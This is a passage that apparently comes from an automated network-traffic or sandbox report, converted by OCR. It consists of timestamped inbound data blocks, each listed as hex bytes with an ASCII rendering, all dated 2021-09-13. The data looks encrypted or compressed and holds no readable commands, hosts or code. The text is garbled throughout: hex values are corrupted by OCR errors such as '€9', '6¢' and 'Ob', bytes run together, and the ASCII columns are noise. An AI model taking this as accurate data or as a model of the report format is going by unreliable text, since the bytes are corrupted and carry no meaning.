e2 0ab354 a6 24 79 ec 31 69 2a 39 b5 d6 c8 c1 7d ed 2d dc 8a 3f 08 01 24 c7 c4 df f2 48 96 27 ba d2 74 a6 9a 97 57 d3
bl 5e 61 0f 62 b7 3e 3b 46 a7 33 b5 8f d4 f7 81 21 f9 dc e4 ec 35 e4 Of Of 53 fe 20 d2 9f b7 df ca a2 ab 4f 5d f1 e4 f2 39 ca
ea 89 e7 95 5d 5 6a 4b 35 b4 cd Ob 9a d7 83 26
Data Ascii: {ialS:8*0kSqa$HYFigN{#AS:#_nrSey-Y$d|7HT'L{FPVKNYy;L2_n4v3pYUGzg<(mT$yli*9}-?$H'tW ab>;F3!5S
0O]9]jK5&

2021-09-13 23:07:18 UTC 325 IN Data Raw: 1d 87 48 71 04 1f ed 93 62 b0 e5 ed 62 7c 98 €3 db f8 88 a2 ba 1b af cd 85 80 67 eb 71 07 b7 66 9a 3b 32 22
30 d3 ef ff 84 0f 0d 24 18 cb Oc 7d b1 94 d7 37 c2 6b 45 0f dd dd bf d9 94 46 7a 22 0a 9a ba e2 95 6f 56 76 €9 d2 a9 1a 8e
c0 6¢ d4 95 ed fa 92 b8 95 df e6 37 68 00 10 c7 d2 ab 9e 3f ad 00 67 dd 73 58 46 c5 1b 52 0f 96 69 fe 46 d7 2f a5 da 6¢
9d 02 ff b4 a5 55 ee 7b 21 5b b4 a7 19 3b 64 28 87 2e 48 6e de bf 72 1e 8b 0d 96 dc ae 18 ca 24 6¢ be 94 60 1f b2 13 9e
1899 1d 02 cc bc a0 02 9f 9b da 1c cl ef 54 34 e2 ed 1d 02 02 d8 83 18 81 72 82 31 3e 2b 4d 36 1c 76 7a 41 11 17 09 d8
ff a7 6d Oc 5a ae 3f c4 dc 79 be d0 45 c6 €9 29 45 85 7b c5 8¢ 58 17 bf 1b dd f7 a7 4e 0d 18 40 2b a3 51 69 4e 1d b2 {3
4e 11 3¢ 76 8¢ 93 de d7 66 15 36 d5 13 cf 56 1f 2d 51
Data Ascii: Hgbb|gqf;2"0$}7kEFz"oVvI7Th?gsXFRiF/IU{![;d(.Hnr$l T4r1>+M6vzAMZ?yE)E{XN@+QiNN<vf6V-Q

2021-09-13 23:07:18 UTC 326 IN Data Raw: dd a6 fe Ob fa 66 91 b4 2a 02 e4 28 f6 Oe 1d c4 85 e7 c5 df e0 72 14 c0 25 dc c2 dc 7c 24 8d 5a 0f 4a 19 02 b3
e0 Oa ad e2 43 32 76 aa 3b 94 79 2d d3 3c b9 43 a4 9a c9 63 a9 dO bc 2a 5f 05 6a 02 8d 39 e2 66 cd 40 84 f3 7b 00 b4 c1
1b b6 62 cf d6 88 2a 34 2b 66 06 fd 08 48 d4 e7 9a 54 eb cd 86 d2 15 c¢8 52 64 40 8b c6 18 el d7 cd d7 8d b6 d4 24 4e 4a
aa 4c a7 64 c8 7c 3f 94 6a 7d 03 f7 00 2e ae ce f1 06 15 07 72 fb d8 55 28 92 5e {3 c7 4a a2 2f b8 53 a0 1e 23 32 ee 73 29
4e 16 61 dd f2 df 59 59 74 98 67 61 9b 3a 79 e4 83 e8 €9 6a c6 44 93 07 1a c2 ac 41 9d 13 9e 60 c3 d4 cd 6a 93 0f d9 65
bl e7 c4 le 42 ab 9a df 46 ea 40 ae Oa e7 9a 9f 16 72 24 €0 aa fe aa 9b 98 5d 71 47 4a a5 94 9e cb 83 f1 d4 96 77 92 5¢
ea b5 cc fO 6e 4e fd 41 88 ca 01 fb b2 85 e8 20 83
Data Ascii: f*(r%|$ZJC2v;y-<Cc*_j9f@{b*4+fHTRA@$NJILd|?j}.rU("J/S#2s)NaY Ytga:yjDA'jeBF@r3$]qGIw\nNA

2021-09-13 23:07:18 UTC 327 IN Data Raw: 39 9e 5f 01 8c ¢5 69 6b a8 16 3d de 41 58 68 68 6e 63 46 97 55 db 18 83 67 c9 46 d4 b6 09 55 77 de 88 33 €9
a0 16 3a d6 Ob 46 9a 9b aa 08 ec 95 e5 11 fd ad Oe 87 1d 9e fc 06 3e 2c 9a ae 06 c3 cd 1a ce a4 cf 86 a2 49 7b 83 0d ae
6f 45 67 3a 43 93 cd 40 fc e8 86 1b e2 45 05 10 Of 55 35 9d 9e a6 ea 72 18 cb 26 fa 92 e2 b1 63 fe 4f 4e aa 30 76 8c e7
2553 ef 5d 2e 60 17 58 9a d3 62 59 19 3f bc 6b f9 09 c1 aa 67 4d 13 ¢5 46 19 6b 6b 9c f9 59 1b cc 6e df 77 17 61 91 63
6d 9f c2 7b db cc 7f 15 ¢7 80 5d 79 da e5 72 cb €9 02 f6 32 37 f5 94 ad 32 00 40 9e 0d 99 b4 c2 c4 b1 05 16 86 32 42 55
77 fc dc 42 c2 37 de a9 2b 4d 8a 93 05 el b5 5d c8 27 5e 7e 8d 66 58 58 63 f1 40 27 1a 4b ec al 65 f8 06 a4 1a 44 9a d7
1b 9e 85 cb 81 d2 30 33 7e 43 09 93 6b 50 b5 56 cd f2 34
Data Ascii: 9_ik=AXhhncFUgFUw3:F>,l{0Eg:C@EU5r&cONOV%S]. XbY ?kgMFkkYnwacm{]lyr272@2BUwB7+M]
"~fXXc@'KeD03~CkPV4

2021-09-13 23:07:18 UTC 329 IN Data Raw: 21 19 fO ec eb 32 99 e2 9a 7a b0 81 57 60 ef 79 5¢c 4b 42 €9 40 72 7a 60 60 41 c5 b2 bl 8c 10 62 9f 5a 44 3d
€3 9a 22 7a90 17 1d 6¢ 99 75 4c e7 ae 61 89 78 cf 37 42 3f c6 27 8c fc ef b4 56 bb 93 46 87 9a 45 2d ef 90 e2 04 d4 a4
€9 65 86 e2 b3 ¢3 3b 71 Oa df 8¢ 0d 95 41 3b d3 8f 22 37 91 82 73 17 a3 4b 7f 32 f2 d3 a8 14 23 23 b4 54 61 Oe 59 e0 84
43fd 11 60 c1 69 ef 71 8b 78 20 Oc f2 11 d5 a6 ec 24 d3 a3 49 40 44 4f 7e 1c 94 69 72 92 f1 08 08 c1 07 04 3b €8 18 18
2e 4e c3 75 e6 ec 05 9f 65 a4 b5 ea f8 6b f2 8f 28 Ob d3 a4 79 5f 35 41 8c ce d8 d2 7a bd a9 23 94 12 60 dc 5¢ 63 c3 ab
9b 4a 22 34 74 18 e9 ef 03 f5 47 08 3d 1f f5 96 1c ed 25 71 68 8a d7 88 1a 1d 72 74 73 71 58 42 28 a8 ef 69 b0 c7 5b 5d
c4 95 dd 9a 07 cd 7a 8b 43 53 44 9a ea 85 2d 39 57 bd 2¢
Data Ascii: 12zZW'y\KB@rz"AbZD="zluLax7B?'VFE-e;qA;"7sK2##TaYC’igx $1@DO~ir;.Nuek(y_5Az# \cJ"4tG=%qh
rtsqXB(i[JzCSD-9W,

2021-09-13 23:07:18 UTC 330 IN Data Raw: f7 Ob €5 10 8e c1 f6 3f 21 3a 51 11 06 ea 98 90 03 16 fb e5 9d 4f 38 9a cf 9e 63 c1 6c e8 4a 49 3e 6f ce 84 99
4 76 Ob al 14 08 ef 1a 22 fd 83 22 d6 d1 a3 51 7c ec 2c 44 0d 13 e7 ee 5d 6e c5 63 69 af db 36 5 58 1b 42 83 df a9 f2 c2
7f 74 e6 e5 5e 89 6e 08 d9 2b a5 e6 de 41 1b 9c d2 63 ba 67 47 bf 5e 49 63 af 2d d9 ba 14 b3 4a 60 7a bl c2 62 1b 47 41
3f 4a5a b4 38 75 a8 b8 32 55 c9 €9 97 06 bc 79 26 10 be ac fb 74 d5 1c 75 4c f6 78 56 4d 09 Oc Oa df d9 al 83 4d 86 74
de 43 ea el 3a b7 13 cc f4 45 57 a7 07 8e 83 7h 74 8c 82 5e 65 4f bf cc 86 32 f3 88 ¢9 e6 ¢5 24 92 43 6 4e e2 58 85 36
14 f1 e7 59 52 df 7a e7 db 3e cf 77 df d8 89 da f9 7c a5 dc f0 31 65 d2 49 dd 2c 31 e3 37 9b 6e 4b 41 fa 85 53 c9 e8 df 71
82 e7 4e 7b 43 be 1d 06 07 2b c2 d1 fe d7 a9 5
Data Ascii: ?1:Q08clJI>ov"'Q|,D]nci6XBt*"n+AcgG”lc-J"zbGA?JZ8u2Uy&tuLXVMMIC:EW{t"e O2$CNX6YRz>w|1el,17
NKASgN{C+

2021-09-13 23:07:18 UTC 331 IN Data Raw: 8b 67 0d 45 f1 13 da Ob 99 bf 66 0d 63 fO 05 51 b2 f2 13 41 11 64 c5 cd 80 36 92 06 €7 78 €9 07 a8 57 8e 0d
4d 74 3c bl 1a 87 9b 03 33 d7 7e cf 1a f7 65 40 51 e9 2e aa a7 72 55 6b da 6b 1d 9c 17 f0 12 03 a4 1f 20 94 ef 84 ce 5f 3c
€4 00 11 09 3d e0 59 47 0Ob f7 fc 27 3f f5 5b 99 05 66 42 7 Ob b3 Ob 71 88 ee e0 e2 a5 3e 9e 5d 47 f0 d1 4e a8 08 92 30
2a 6b c7 72 02 be 6e d5 ac cl ee 15 f7 67 55 98 2f 91 f8 6¢ 59 Oe 29 97 20 78 52 b1 8c 4d 40 6a ef 97 f3 c0 d5 b8 59 60
11 7e eb 9f 5b cf 5f 4d 00 d2 06 77 d9 89 2c fe 4a 6f 09 38 35 8¢ 25 4f 4f a2 31 4c 05 9e a7 34 eb 43 06 2f b1 74 13 c6 8b
9b 4e d1 96 5b 93 14 9f 8a 5a 53 4e 9d 5f a3 6f a7 6e 6f b2 9d a9 84 54 29 4b 5b 4b 69 88 3a 93 32 b7 94 80 d5 c3 c8 f6
32 1c 52 82 9a 50 b7 94 79 94 85 38 4b ec 52 27 b2
Data Ascii: gEfcQAd6xWMt<3~e@Q.rUkk _<=YG'?[fBg>]GNO*krngU/IY) XRM@jY"~[_Mw,J085%001L4C/HN[ZSN_onoT)
K[Ki:22RPy8KR'

2021-09-13 23:07:18 UTC 333 IN Data Raw: 34 da 04 1c 43 e6 0f 06 d8 62 a2 d8 88 88 ae 46 e4 00 98 be 12 e2 70 1d 5d 69 81 8c 34 ae d1 89 10 69 2f 4f
48 4b 25 c4 4c be al da c8 a2 66 23 df fe 92 d9 25 eb 33 f2 35 9f 4d 34 19 3a 1f 3a 6¢ 72 8e 8b df bd dd 8d 87 f5 e6 5¢ 94
c6 bl bd 96 af 7 9a 36 b9 ae ce 6¢ 94 06 4a b6 13 33 52 2a 3f b0 4e 18 00 la f6 c6 58 24 92 ff 81 d1 c7 b6 35 28 1b 4d b9
d1 39 d7 a9 bb cb 97 e8 2c f0 d3 98 91 ae 04 €0 87 63 ca 1d eb f3 48 59 c4 2b 7d 34 04 e9 c8 74 f8 9e ¢5 77 d4 16 39 b8
1f ea 8b f0 42 b0 a7 1c 56 a8 20 0f 62 34 77 1f d8 ea Oe ab 4b 00 48 81 44 38 {8 4c f8 91 1f f0 56 cc ba 6¢ d7 af c2 20 aa
50 6a b3 f2 64 21 3d e2 39 b4 d4 24 d9 a4 6¢ 2d a7 64 c8 7e 13 fc 8c 2c 9e 5d 57 98 eb b9 ea af €3 17 29 71 ab e4 ac 1b
5e 78 82 71 1d f2 64 53 a0 fa 4a d1 17 55 8d a9
Data Ascii: 4CbFp]i4i/OHK%Lf#%35M4::IN61I3R*?NX$5(M9,cHY+}4twIBV b4wKHD8LVI Pjd!=9$I-d~,]W)g"xqdSJU
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 334 IN Data Raw: 5¢ 66 €0 26 53 95 d3 43 ff Oe 42 d9 69 29 03 d7 d0 d8 fa eb 48 10 ae 59 02 02 d5 2c 21 69 13 f5 a9 fe 10 64 8f
ea f6 df 35 77 86 e5 87 fa 4a 6f 07 bd 51 12 e6 1a c0 68 e6 25 0a 8a 76 96 ec 41 ab 51 8e ff 9c 3a 9a fb 1d 4f dO ea 2d 75
16 9d e3 95 1c 8c da 6¢ 9d 28 7d 8f 31 08 66 bc 21 13 b4 2e 5f e8 9¢ 2d f0 52 b7 1a 5f 87 3d 47 Oe cd Ob 95 6¢ 69 aa 5b
ee 9d 94 18 15 39 5e 75 5b 66 8e 8a 33 €9 d6 65 0a 28 33 bc f7 d3 54 3b 32 90 85 9a b8 a5 28 7a c5 9f 7f 93 02 57 6a 3a
8c 5adb 79 6a 34 cf 86 29 94 00 75 79 b9 c0 d8 9c ea 8d 6¢ 53 76 ab ae 86 e4 8b 9¢c 80 dO 7b 7b c1 0d 36 ad b3 41 d8
le fd al f8 ee d9 78 02 57 a6 90 3f bd 72 e7 10 ba Ob 5d 44 88 38 59 7d 2c 1e c4 8a d1 05 bb b5 3c 90 ca 2f 4d 11 8d 49
8 74 58 22 88 49 da ca 36 54 46 eb 03 c6 26 91 61 b6
Data Ascii: \f&SCBI)HY,!lid5wJoQh%VvAQ:O-ul(}1f!._-R_=GlIi[9"u[f3e(3T;2(zWj:Zyj4)uylSv{{6AXW?r]|D8Y},</MItX"I6 TF&a

2021-09-13 23:07:18 UTC 335 IN Data Raw: 55 06 42 74 66 70 e3 89 0f 26 c4 fc 92 bc Oe 5¢ ba a6 23 df 31 24 22 98 e1 9f al 7b bb 96 af 8d cb b2 73 01 97
a9 8a 55 1f 25 f8 17 24 c1 d3 b0 4d 49 Oc 3d d1 92 a7 65 72 4a fb 15 aa da 86 4d 36 a3 8a 47 61 6¢ 37 b5 e6 e3 c6 70 el
5c c2 8e f0 89 d4 24 9d 66 ac 6a 61 8f 49 8b db 49 cf bf fd Oe 5a 13 07 6f f3 df 6a 00 8f 55 1d 46 60 92 db b8 {7 94 22 2a
fd fe e8 11 el fa 09 9e f8 41 a0 20 7b 85 06 be 08 b4 13 2a Oc 18 a4 73 ed d3 31 aa 65 b3 f3 59 dd ba 86 01 80 d8 6e 51
a3 e6 aa 43 fa b7 12 2d 9b fd 05 b4 e8 80 af 6b 42 b2 dc a8 e6 0d 6¢ 5c¢ f1 b2 6d 23 be 9f 57 6f de a7 04 b3 d4 a3 9a 2b
46 73 Oe b4 44 fd 44 50 9f bc 1d 95 {7 ac 4e fd f9 6a 81 ad fb 39 f6 a9 f2 75 1f 9a dc 59 07 8b 4d 1b aa 99 78 6b 41 18 68
3808 13 4a f2 0b 09 61 48 96 21 f9 2b d1 1d fc
Data Ascii: UBtfp&\#1$"{sU%$MI=erJM6Gal7p\$fjallZojUF "*A {*s1eYnQC-kBI\m#Wo+FsDDPNj9uYMxkAh8JaH!+

2021-09-13 23:07:18 UTC 336 IN Data Raw: cd 36 c4 c8 16 d4 4d 85 de 25 e3 fd f9 45 3f 98 e4 03 1d 95 dd b0 06 69 3f a4 Of 3f 23 16 0a e3 b6 06 d4 40 ch
ff 6e 7c b9 7a 7c 54 2d 5a 51 94 ea Oe 9f ae 7e 69 e8 86 90 ad 4c 70 f4 c8 3b Oe 33 89 b9 4e 9a 0f 40 a0 62 19 24 3a 05
c9 7b 2f 75 6b 76 8¢ 18 ca 80 b1 06 €7 4a dc 03 11 a6 05 16 4c a4 06 8b d6 ee 1d 55 98 14 59 29 c6 71 3b 50 5f bc 0d 12
Ob 1b 65 4c fb 03 01 €8 28 97 b6 Oe 87 c6 24 7e 38 d9 de 97 63 55 70 00 7d ea c2 32 bc b0 d7 d4 fd 71 4f 7d b7 10 9a d5
be 15 ed 01 79 47 a6 36 cc 2c 91 b2 f1 56 a4 f2 2b 4d 75 bf ba 57 81 cf 0a 2b 6d 2e 7b 46 c3 5e 8c 7b ac 27 f7 cd 13 5e
65 b0 4e b0 73 44 f0 d8 f7 92 Oe 8f c8 €3 cb 90 d7 c0 80 5a 6¢ 60 30 a0 f1 b6 b8 9e e0 97 a7 ba e6 1b Oc 60 37 8f 1f 46 97
0f 38 fd 74 8d be 7c 85 fd 6f e5 ba 7 5e 3d 03 47
Data Ascii: BM%E?i??#@n|z|T-ZQ~iLp;3N@b$:{/ukvILUY)q;P_eL($~8cUp}2qO}yG6,V+MuW+m.{F{"eNsDZI'0" 7F8t
|o"=G

2021-09-13 23:07:18 UTC 338 IN Data Raw: ad 5f dO b3 19 27 48 11 49 4a 89 e5 75 99 75 11 50 17 1d 30 fb 2c c8 95 5e ce ff 9e 53 9e 99 fd 02 10 86 b9 4d
69 d2 2e 0d ef e4 9d 8c b4 35 75 15 6 98 af 12 e7 5a fd 37 e4 a0 df af f1 ac 16 9b 22 ¢3 d4 66 a7 94 be c7 8d 72 34 b9 4c
6b 29 Oe 15 23 b7 a5 8d 76 ee 35 c9 41 ad 39 73 24 53 eb 0d 92 2d 23 13 db 15 78 1d 66 6d db db db a8 b2 da 15 45 78
ea 86 04 00 00 1c f5 6d ca 8d 7c a7 ec 95 ce 95 63 f1 3e f6 Oc 29 7e 96 el 7e c6 a4 3f f6 ca be 44 4a 43 d2 7a bd e8 f2 8e
1d e0 b9 ce ce 9e 68 3a 58 df
Data Ascii: _'HIJuuP0,"SMi.5uZ7"frALk)#v5A9s$S-#xfmExm|c>)~~?DJCzh:X

2021-09-13 23:07:18 UTC 338 IN Data Raw: 58 7b 08 81 6e 3f b0 48 ca b6 e0 79 ec 18 09 a5 79 55 Oa 6e 89 6f 6b 88 a9 f0 cc f4 f2 14 b4 d2 66 35 3f 9e 29
d1 fO bl 56 06 74 bd 31 48 53 44 9a eb 22 f1 c6 a8 54 07 c6 ef b4 67 40 96 5a 00 fc 57 ba 24 31 1c Oc c7 e8 9e f8 e6 18 2f
4d d5 94 09 e2 21 9e d1 41 25 f5 9d 5a 47 51 bb e9 0d 2f 24 28 d9 8f f1 86 aa f7 79 11 44 48 7a 93 a7 a2 03 8b 5d cb 9d
e7 63 5f 03 87 19 72 9b 50 1f c5 6f 89 7e ea 9f 0a 67 5¢ 1d dd de 55 e8 25 94 90 39 d3 18 82 21 31 b6 2e 2b 1f 0d 3c e2
2e 4ce5 ed c5 27 ¢7 86 89 f5 f9 cd 92 e8 43 3e 31 94 aa 5b a2 3a ac 33 €9 d2 09 bb ad 3d c6 42 77 d0 7b 93 58 df 02 23
0b 40 13 16 b7 af 31 e1 93 69 e6 2a ce 99 ef 8f f2 9b b9 ¢3 38 72 1e Of 2¢ 85 45 49 bf 16 ad 17 1c bf 93 33 c1 d0 e8 06 1b
5d 2e 1b 94 d4 Ob f5 75 76 06 bl 72 f3 53 93 a2
Data Ascii: X{n?HyyUnokf5?)Vt1HSD"Tg@ZW$1/MIA%ZGQ/$(yDHz]c_rPo~g\U%9!1.+<.L'C>1[:3=Bw{X#@1i*8r,EI3].uvrS

2021-09-13 23:07:18 UTC 339 IN Data Raw: 83 f5 f5 6a 92 c1 55 8b 3e 6e 82 20 27 16 e6 07 9f a7 04 e3 12 22 33 6d 32 Oe c6 7e €0 99 e4 bc 2a 46 e6 d7
09 64 9e c9 b6 11 cb 52 7d 07 6f 7e d4 d4 b7 c9 97 58 59 7e 4e 49 99 cf 05 a7 Oa 44 24 b0 cc 8a be 7b 9d 91 {7 d9 8a ba
4b b0 07 15 50 20 84 44 69 36 8D 8f ff €6 9e 00 46 c6 1e 2c 9d 0d 9d 41 f6 e4 b6 6f ae 1a 75 c¢1 53 c2 a3 ed d3 52 98 52
4d a6 00 ed f1 6¢ 4d 75 ¢3 20 ed 2f 1c 93 91 0d 86 63 35 c7 e3 5f 59 16 91 7b 89 6d 65 4b b8 48 40 7a ca af Of f0 13 9e 3e
99 e2 9a f0 c7 f2 3b 6e e8 e7 59 4b 42 5f 15 2e b9 53 ca 3f cc 84 da 1d 8d 6¢ 2d e3 b9 97 36 4e 9a 93 79 25 d9 55 56 75
4d 93 9¢ 88 75 20 28 7c ab 1b c2 2f Oc ¢8 6e 51 d9 41 7a 46 ba 1a 3c a4 68 fb ec dd e8 6b 6b 86 da c7 92 40 8d 87 31 a0
9c 30 dd 25 1f 82 a3 a2 1e 6b b3 cd 17 20 a7 01 ¢7 61
Data Ascii: ju>n "'3m2~*FdR}o~XY~NID${KP Di6F,AouSRRMIMu /c5_Y{meKH@z>;nYKB_.S?|-6Ny%UVuMu (|/nQAzF<
hkk@10%k a

2021-09-13 23:07:18 UTC 340 IN Data Raw: 8a fd e4 26 00 1c 1a 5¢ 67 5¢ 69 fb dc 11 d2 da 6a 6f 4d f8 1c b3 21 31 b4 96 b6 fe 8¢ c5 09 23 ¢5 60 c8 78 d4
b8 5e 25 1b d8 46 96 Oc 9c 9c ce 54 3b 49 3b 10 26 45 ef 20 76 cc 81 a8 ee c9 73 3e Ob 69 al df c4 e4 df 79 94 3d a2 Oe
fe 69 d7 7f 43 4c 8c 6a 90 f8 3b dc 93 2e bf ce 05 63 66 €3 b8 88 8e c1 52 6b 14 b2 b8 8c 17 91 65 ¢7 1a 0d 48 80 40 fO
81 0d 9d fb cb b5 8c e7 bf 48 Ob 6b 1d 4e 7b f9 79 9f 7e 1f 52 34 9b 93 df ef 64 ab 90 2e fc 65 a0 f6 ca 5f e4 06 Oe 1a f7 3f
55 8f b5 2a 43 ca 9a af 7b 92 7c 91 9f 21 b6 11 4a ba 19 fe 9c 5e 56 2f b7 67 ce 7c ad 39 7f a2 79 12 49 05 b2 8e 51 09 47
ac 3b 5¢ db c¢1 10 55 45 0d 65 65 c2 ec af 05 16 fa 83 aa 38 ca d2 fe a9 91 ec 69 79 f3 c0 f8 e2 1b 6 25 ee ac d0 92 5a 85
61 c3 56 60 db c2 fc b6 4b 04 Ob 93 8d 3a
Data Ascii: 8\g\ijoM!1# X %FT;|;&E vs>iy=iCLj;.cfRkeH@HKN{y~R4d.e_?U*C{|\J"V/g|9yIQG;\UEee8iy%ZaV K:

2021-09-13 23:07:18 UTC 342 IN Data Raw: 5b 1c 2d 1c 6a 5a 76 98 6e 4b 59 10 6d ad 17 e7 2c b4 2d 3d db 63 94 ff b0 f3 00 2f fd 54 9f f4 99 7a cd Oa a2
14 ad 5b 51 fd 6d b6 1b 2f 8a 93 49 fe 95 e2 el 51 7d 75 5e 5a 44 al 65 03 63 33 5b d4 76 27 81 1d cf 93 9c e2 e8 5 34
67 el e4 92 fa 20 01 1c 6e 29 47 57 5e 3f da 55 a9 2d e5 ed dd db 49 22 b9 a2 4d 24 c9 4e 4a 92 a3 8b {7 ee 2a 9b 5a fa
27 de ef 3d fe 92 d4 59 94 14 5d 85 8¢ 56 c5 4e 1b el d2 b4 82 13 19 7d 9b 92 58 42 d9 dc d4 8d 7c 06 66 21 48 11 cO 65
3a 59 0d 2d 66 f3 fe 5¢ 63 57 b2 78 86 06 cd e4 86 03 00 5d ea 44 5a d0 41 43 f8 ¢7 0d 3e d7 17 65 5e 1d 9c a4 f5 db 29
38 1a 9 60 ee 19 cc 06 be ab 2d 85 ed 56 74 7c 8e 1f d3 d8 1d 56 ef 65 3f 91 93 bf 94 8d af 78 75 56 3a f4 f4 21 54 3d 09
21 f8 ed 36 d0 76 90 f4 ac d7 7b c9 c8 Oc 9f 57 a9
Data Ascii: [-jZvnKYm,-=c/Tz[Qm/IQ}u*ZDec3[v'4g n)GWA?U-I"M$NI*Z'=Y]VN}XB|fIHe:Y-\cWx]DZAC>e")8"-Vt|Ve?xuV:IT
=I6V{W

2021-09-13 23:07:18 UTC 343 IN Data Raw: 9e f8 e0 el 20 3d Of a6 58 94 03 84 f0 be f5 ef 5d ab 48 a4 04 11 96 1d 18 c9 c1 fc 03 d7 f4 cO aa ae 8e 11 bc
9f 92 87 €8 fb f4 44 c2 aa ad 9a fc 5b 6e 44 9f e6 da 45 6d 39 ce 8¢ 89 f4 5b 0a 9a 55 54 fb 4d 22 54 7f 47 04 39 19 e4 fd
59 17 52 41 26 9a d5 ca bf ¢5 9b 34 97 2d 7e 83 ea 14 c1 51 d3 20 b7 ef c6 8e a5 66 f6 de 09 4b ad 6¢ a5 Oe 21 b0 19 e8
90 4 83 7a 57 ec f3 d4 19 73 4f 26 44 49 9b 42 c7 Oe 86 aa b3 b8 09 Oc 3a 82 6b 6¢ 51 36 97 fc 54 86 da 5¢c e2 f2 c1 48
82 5 60 ba cc 46 4e 03 d8 30 c6 b8 b2 ef a7 Of 78 48 57 00 Of 06 b7 14 00 56 86 2e 73 f3 98 51 7c cf bf 8a 25 67 75 8f 22
ab 71 a8 9d 14 9f 3f 78 f9 92 d0 f3 f2 30 cd 54 33 99 8c de 1c 76 8c 2f 8d 72 08 b3 4a 44 9a 18 a3 49 fd 30 d9 d0 al 70 60
f2 8f 8c ab 74 b7 94 89 59 39 0Ob 6f 89 90 cO
Data Ascii: =X]HD[nNDEmM9[UTM"TGIYRA&4-~Q fKI'izZWsO&DIB:KIQ6T\H FNOXHWV.sQ|%gu"q?x0T3v/rJDIOp tY90

2021-09-13 23:07:18 UTC 344 IN Data Raw: €8 c2 78 fc 32 bb 5¢ 90 26 86 b1 20 a0 82 31 dd 33 14 26 b7 96 Oa a7 50 24 Oa 92 4f 82 f8 58 d8 Oc 2d 66 87 1f
48 b6 62 ba cf 93 85 0d e0 71 d5 Ob 8d 6d e8 22 2¢ cb f4 7d 72 bc 37 5c 1f 4f b4 6¢ b3 92 b4 10 5d e2 5e 48 bl bf ca 4e
83 4a 68 2e 75 bd 00 54 4e 69 1b c2 €3 94 b6 78 18 2b 6a 66 6f 15 b8 90 f2 8e eb 8a ff 1b db b7 d7 44 49 f1 e8 8a ae fd
be 2c 6b ca ab 8f 1f f1 ac 64 23 7d f5 bd 56 5¢ 9a 43 13 b1 06 de f1 dd d5 16 54 1f c3 c4 e9 64 94 b5 5¢ 92 39 22 d6 8e a4
fa 01 0f 43 86 53 5e b9 02 ce ¢9 18 72 8c a2 1f 4d 05 00 5¢ ea 18 1f da 98 eb bd 99 3e 20 60 1b 1c ee ea 4a eb 26 50 3e
7c 0938 2d 82 ad 32 d9 b3 67 11 7c 74 9a cb 02 aa 9f d4 a6 f8 98 74 64 93 d7 3a 46 1la 74 53 8f 1a 3a 9f e2 62 Oa 27 04
72 6a e541 1f 52 84 de ce ed a5 12 0f 07 3d 69 67
Data Ascii: x2\& 13&P$OX-fHbgm",}r7\OI*HNJh.uTNix+jfoDI,kd#I\CTd\9"CSAM\> "J&P>(8-2g|ttd:FtS:b'rjAR=ig
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 345 IN Data Raw: b1 59 ad 8a e4 60 5e 6e fO 46 ca e3 cf f8 c4 bf f4 Of d5 8b 3f 95 15 30 8f 5f be cc cf 29 0d ac 59 60 13 59 e8 6d
8d ef 4c 08 8f eb ed 1b ae 1c ee el 76 f8 06 0d 85 02 fc 01 cd 8c 7c 56 9¢ 94 b3 42 fb 93 37 f6 01 a0 a2 97 2b 7a al 7c 33
3 3a 48 06 6a f5 bf 7c 59 ef f8 8e ed dc a9 42 d8 83 f3 0e 39 d9 0d e4 27 6e c9 5e df d8 e4 d5 f0 62 79 7f 59 ac Oa 25 10
22 f8 al a4 a4 66 c8 8f 32 40 af 5¢ f9 b0 69 3a 00 11 3a ch 83 04 1e 72 5¢ 57 4e 36 85 25 ea f3 a6 6d ce 25 50 ff Oe d8 e4
4e cd b0 b5 cc 9d Oc 26 8d 75 af c8 b6 55 94 12 e0 f1 67 €2 97 39 77 08 10 f6 a9 db c1 32 fc cf 84 27 c8 f9 Of 4e ff eb eb
70 4a 53 c8 25 el 06 48 da 95 93 b2 7e 30 e2 78 6a e3 fc db a8 el 1f fd e4 94 7d 6d 38 ca 7d 17 af el f1 f6 b6 94 9b cO 7f
90 d8 11 9c 49 30 f6 9e 80 c2 22 25
Data Ascii: Y *nF?0_)Y YmLv|VB7+z|3:Hj|YB9'n"byY%"f2@\i::\WN6%m%PN&uUg9w2'NpJIS%H~0xj}m8}10"%

2021-09-13 23:07:18 UTC 347 IN Data Raw: 2d 62 35 b5 61 08 4f f4 5b 7f f1 08 96 21 d5 5b c5 63 db 4f ad 39 23 34 40 76 a5 78 de d8 ac 57 08 22 a9 f9 d8
84 d4 88 38 bd 9e 51 bf 6¢ 1a 75 6e c2 51 69 d9 96 74 76 1b 7a af d9 62 67 30 dd 3b f2 81 9f a9 3d 5d 7a 8¢ 7d 25 8c 28
4f 33 2b Oe ab 5¢ 85 5d cb 9f ef 97 2b 3e a7 70 5f 95 10 1f 4e 5e d1 00 63 df 62 ae 52 69 9d d4 e9 e0 da e5 d4 a5 49 97
7b 21 ba f1 26 a0 b3 ec c6 e2 2e a0 55 96 87 2b c4 ca e9 6e 94 4e 1f 10 2f 1e 34 6b 06 1a ea 9a e8 20 4e 9b 79 be ac d3
be 44 36 99 b3 b3 55 2f 94 8f 9f 94 ee 02 c7 8f c3 2c df f6 8b 35 51 d8 90 5f 3f c8 61 c1 71 37 Ob e7 94 d5 Oe 48 5a 6f 20
d1 99 13 7b 8a 3b 97 17 4f d8 d6 3a 50 9b €3 28 79 b8 7e c5 cf 3e 18 34 88 9d e4 ae 59 e4 90 1f a6 3 2d 3a d5 23 96 43
40 15 2e fc c4 3e 8a bl a9 9d 7d b9 7a c3 32 09 b5
Data Ascii: -b5a0[![cO9#4@vxW"8QlunQitvzbg0;=]z}%(03+\]+>p_N"cbRil{!& U+nN/4k NyD6U/,5Q_?aq7HZo {;O:
P(y~>4Y-#C@.>}z2

2021-09-13 23:07:18 UTC 348 IN Data Raw: 2c 6f 76 ad 5e 7c 53 d1 81 83 ff c5 e7 1c 42 10 70 11 44 3e bc 6d 9e 7c ea 99 5f f1 9c df 69 4f a6 75 c2 f4 3a
ab 1a 40 87 d2 57 c7 7a 45 09 b7 a7 57 8b Oe 0d 61 d9 ff 3c 20 5b 42 15 b6 4e 24 fO cc f1 6d b7 fc 18 ¢3 67 cd d6 d8 4b
54 ¢9 22 2c 07 49 75 18 46 48 91 fe 7f 85 2d 60 3c 54 25 21 7b 6b 52 el 5e 77 b6 10 4d 3d d9 1e a2 af 64 8a 65 4b b8 90
42 26 ff b6 df Oc 5a 60 f9 93 63 Oe c7 6¢ fc 29 ed 69 11 a7 7d fe 43 90 52 25 d8 e5 cd be 1a 68 91 20 c4 69 aa 35 53 0f 56
